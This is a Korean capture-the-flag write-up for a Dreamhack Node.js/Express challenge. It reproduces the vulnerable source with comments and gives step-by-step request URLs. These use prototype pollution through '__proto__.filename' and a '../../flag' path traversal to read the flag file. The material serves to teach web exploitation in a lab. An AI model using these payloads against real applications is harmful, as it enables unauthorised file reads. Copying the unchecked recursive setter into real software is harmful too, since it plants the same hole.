NodeJS가 익숙치 않아서 Dockerfile 구축도 해보고
ChatGPT까지 모든 경우의 수를 동원해서 3일정도 걸려서 풀었음
app.js
const express=require('express'); const bodyParser=require('body-parser'); const ejs=require('ejs'); const hash=require('crypto-js/sha256'); const fs = require('fs'); const app=express(); var file={}; var read={}; function isObject(obj) { return obj !== null && typeof obj === 'object'; } function setValue(obj, key, value) { 핵심함수 1 const keylist = key.split('.'); // .(점)을 기준으로 keylist 리스트 배열로 나눠짐 const e = keylist.shift(); // shift로 인해 keylist 리스트에 있는 배열이 가장 앞 항목부터 삭제됨 if (keylist.length > 0) { if (!isObject(obj[e])) obj[e] = {}; setValue(obj[e], keylist.join('.'), value); // 다시 Recursive 되는데 keylist는 .(점) 기준으로 다시 합쳐짐(join) } else { obj[key] = value; // keylist가 shift로 인해 하나씩 날아가면서 결국 실행되는데 PP 삽입이 가능함 return obj; } }
app.use(bodyParser.urlencoded({ extended: false })); app.set('view engine','ejs'); app.get('/',function(req,resp){ read['filename']='fake'; resp.render(__dirname+"/ejs/index.ejs");
}) app.post('/mkfile',function(req,resp){ let {filename,content}=req.body; filename=hash(filename).toString(); fs.writeFile(__dirname+"/storage/"+filename,content,function(err){ if(err==null){ file[filename]=filename; resp.send('your file name is '+filename); }else{ resp.write("<script>alert('error')</script>"); resp.write("<script>window.location='/'</script>"); } }) }) app.get('/readfile',function(req,resp){ let filename=file[req.query.filename]; if(filename==null){ // filename을 Null로 전달해야 .(점) 치환을 우회할 수 있음 fs.readFile(__dirname+'/storage/'+read['filename'],'UTF-8',function(err,data){ // 대신, filename을 따로 전달할 수 없기 때문에 read['filename']은 PP 삽입을 미리 마쳐놔야함 resp.send(data); }) }else{ read[filename]=filename.replaceAll('.',''); fs.readFile(__dirname+'/storage/'+read[filename],'UTF-8',function(err,data){ if(err==null){ resp.send(data); }else{ resp.send('file is not existed'); } }) } }) app.get('/test',function(req,resp){ 핵심함수 2 let {func,filename,rename}=req.query; if(func==null){ resp.send("this page hasn't been made yet"); }else if(func=='rename'){ setValue(file,filename,rename) resp.send('rename'); }else if(func=='reset'){ read={}; resp.send("file reset"); } }) app.listen(8000);
|
Step 1. fake 값이 계속 출력되기 때문에 reset 해줌 ( 이후에는 공백만 뜸 )
http://host3.dreamhack.games:23999/test?func=reset
Step 2. PP 하는 부분
- 소스코드 분석 결과, 무조건 file[입력값] 형태로만 들어갈 수 있음 -> file[__proto__.filename] : ../../flag
- ../../flag 하는 이유는 소스에서 /storage/ 폴더 하위로 파일을 읽기 때문이고 flag는 상위 폴더에 있음 (../ 1번은 안됨)
http://host3.dreamhack.games:23999/test?func=rename&filename=__proto__.filename&rename=../../flag
Step 3. 결과 확인
- 소스 분석 결과처럼 filename에 Null을 넣어서 .(점) 치환로직 우회 가능
http://host3.dreamhack.games:23999/readfile?filename=
※ 삽질 내용
제대로 먹는지 모르겠어서 rename에 fake를 주고 확인하였음
fake를 넣게되면 PP 먹어서 reset해도 공백이 출력되지 않고 무조건 fake 값이 출력됨
http://host3.dreamhack.games:23999/test?func=rename&filename=__proto__.filename&rename=fake